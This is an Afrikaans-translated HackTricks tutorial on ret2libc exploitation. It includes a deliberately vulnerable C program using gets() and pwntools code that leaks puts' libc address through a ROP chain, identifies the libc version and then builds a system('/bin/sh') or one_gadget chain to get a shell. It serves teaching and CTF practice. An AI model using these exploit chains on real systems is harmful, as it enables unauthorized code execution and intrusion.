Leaking libc address with ROP

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Vinnige Resensie

  1. Vind oorvloei offset

  2. Vind POP_RDI apparaat, PUTS_PLT en MAIN apparaat

  3. Gebruik vorige apparaat om die geheue-adres van puts of 'n ander libc-funksie te lek en die libc-weergawe te vind (aflaai dit)

  4. Met die biblioteek, bereken die ROP en benut dit

Ander tutoriale en bineêre lêers om te oefen

Hierdie tutorial gaan die kode/bineêre lêer wat voorgestel word in hierdie tutorial benut: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Ander nuttige tutoriale: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kode

Lêernaam: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Uitlek LIBC-sjabloon

Laai die aanval af en plaas dit in dieselfde gids as die kwesbare binêre lêer en gee die nodige data aan die skrips:

pageLeaking libc - template

1- Vind die skuif

Die sjabloon benodig 'n skuif voordat dit met die aanval voortgaan. As enige verskaf word, sal dit die nodige kode uitvoer om dit te vind (standaard OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Voer python template.py uit, 'n GDB-konsole sal geopen word met die program wat afgesny is. Voer binne daardie GDB-konsole x/wx $rsp uit om die bytes te kry wat die RIP gaan oorskryf. Kry uiteindelik die offset met behulp van 'n python-konsole:

from pwn import *
cyclic_find(0x6161616b)

Na die vind van die offset (in hierdie geval 40) verander die OFFSET veranderlike binne die templaat met daardie waarde. OFFSET = "A" * 40

'n Ander manier sou wees om te gebruik: pattern create 1000 -- uitvoer tot ret -- pattern seach $rsp vanaf GEF.

2- Vind Gadgets

Nou moet ons ROP gadgets binne die binêre lêer vind. Hierdie ROP gadgets sal nuttig wees om puts te roep om die libc wat gebruik word, te vind, en later om die finale aanval te lanceer.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Die PUTS_PLT is nodig om die funksie puts te roep. Die MAIN_PLT is nodig om die hooffunksie weer te roep na een interaksie om die oorvloeiing weer te benut (oneindige rondes van uitbuiting). Dit word aan die einde van elke ROP gebruik om die program weer te roep. Die POP_RDI is nodig om 'n parameter aan die geroepte funksie oor te dra.

In hierdie stap hoef jy niks uit te voer nie, aangesien alles deur pwntools tydens die uitvoering gevind sal word.

3- Vind libc-biblioteek

Nou is dit tyd om uit te vind watter weergawe van die libc-biblioteek gebruik word. Om dit te doen, gaan ons die adres in die geheue van die funksie puts lek en dan gaan ons soek in watter biblioteekweergawe die puts-weergawe in daardie adres is.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Om dit te doen, is die belangrikste lyn van die uitgevoerde kode:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Dit sal 'n paar bytes stuur totdat die RIP oorgeskryf is: OFFSET. Dan sal dit die adres van die gadget POP_RDI instel sodat die volgende adres (FUNC_GOT) gestoor sal word in die RDI register. Dit is omdat ons puts wil roep deur die adres van die PUTS_GOT te stuur aangesien die adres in die geheue van die puts-funksie gestoor is in die adres wat deur PUTS_GOT aangedui word. Daarna sal PUTS_PLT geroep word (met PUTS_GOT binne die RDI) sodat puts die inhoud binne PUTS_GOT (die adres van die puts-funksie in die geheue) sal lees en dit sal afdruk. Laastens word die hooffunksie weer geroep sodat ons die oorvloei weer kan benut.

Op hierdie manier het ons die puts-funksie bedrieg om die adres in die geheue van die funksie puts (wat binne die libc-biblioteek is) af te druk. Nou dat ons daardie adres het, kan ons soek watter libc-weergawe gebruik word.

Aangesien ons 'n paar plaaslike binêre lêer uitbuit, is dit nie nodig om uit te vind watter weergawe van libc gebruik word nie (vind net die biblioteek in /lib/x86_64-linux-gnu/libc.so.6). Maar, in 'n geval van 'n afgeleë aanval sal ek hier verduidelik hoe jy dit kan vind:

3.1- Soek vir libc-weergawe (1)

Jy kan soek watter biblioteek gebruik word op die webwerf: https://libc.blukat.me/ Dit sal jou ook toelaat om die ontdekte weergawe van libc af te laai

3.2- Soek vir libc-weergawe (2)

Jy kan ook doen:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Dit sal 'n ruk neem, wees geduldig. Vir hierdie om te werk, benodig ons:

  • Libc simboolnaam: puts

  • Uitgelekte libc-adres: 0x7ff629878690

Ons kan uitvind watter libc waarskynlik gebruik word.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Ons kry 2 ooreenkomste (jy moet die tweede een probeer as die eerste nie werk nie). Laai die eerste een af:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

3.3- Ander funksies om te lek

Kopieer die libc vanaf libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so na ons werksgids.

puts
printf
__libc_start_main
read
gets

4- Vind gebaseerde libc-adres & uitbuiting

Op hierdie punt behoort ons die gebruikte libc-biblioteek te ken. Aangesien ons 'n plaaslike bineêre lêer uitbuit, sal ek net gebruik: /lib/x86_64-linux-gnu/libc.so.6

Dus, aan die begin van template.py verander die libc veranderlike na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Stel biblioteekpad in wanneer dit bekend is

Deur die pad na die libc-biblioteek te gee, sal die res van die uitbuiting outomaties bereken word.

Binne die get_addr-funksie sal die basisadres van libc bereken word:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Let daarop dat die finale libc basisadres moet eindig in 00. As dit nie jou geval is nie, het jy moontlik 'n verkeerde biblioteek geleak.

Dan sal die adres van die funksie system en die adres van die string "/bin/sh" bereken word vanaf die basisadres van libc en die gegewe libc-biblioteek.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Uiteindelik sal die /bin/sh uitvoeringsaanval voorberei word gestuur:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Laat ons hierdie finale ROP verduidelik. Die laaste ROP (rop1) het geëindig deur weer die hooffunksie te roep, dan kan ons weer uitbuit die oorvloei (dit is hoekom die OFFSET hier weer is). Dan wil ons POP_RDI roep wat wys na die adres van "/bin/sh" (BINSH) en die system funksie (SYSTEM) roep omdat die adres van "/bin/sh" as 'n parameter oorgedra sal word. Laastens word die adres van die exit funksie geroep sodat die proses netjies afsluit en geen waarskuwing gegenereer word.

Op hierdie manier sal die uitbuiting 'n _/bin/sh_** skaal uitvoer.**

4(2)- Gebruik van ONE_GADGET

Jy kan ook ONE_GADGET gebruik om 'n skaal te verkry in plaas van system en "/bin/sh". ONE_GADGET sal binne die libc-biblioteek 'n manier vind om 'n skaal te verkry deur net een ROP-adres te gebruik. Gewoonlik is daar egter 'n paar beperkings, die mees algemene en maklikste om te vermy is soos [rsp+0x30] == NULL. Aangesien jy die waardes binne die RSP beheer, hoef jy net nog 'n paar NULL-waardes te stuur sodat die beperking vermy word.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOITEER LÊER

Jy kan 'n sjabloon vind om hierdie kwesbaarheid te misbruik hier:

pageLeaking libc - template

Algemene probleme

MAIN_PLT = elf.symbols['main'] nie gevind nie

As die "main" simbool nie bestaan nie. Dan kan jy vind waar die hoofkode is:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

en stel die adres handmatig in:

MAIN_PLT = 0x401080

Puts nie gevind nie

As die binêre lêer nie Puts gebruik nie, moet jy nagaan of dit gebruik maak van

sh: 1: %s%s%s%s%s%s%s%s: not found

As jy hierdie fout vind nadat jy al die uitbuiting geskep het: sh: 1: %s%s%s%s%s%s%s%s: not found

Probeer 64 byte aftrek van die adres van "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated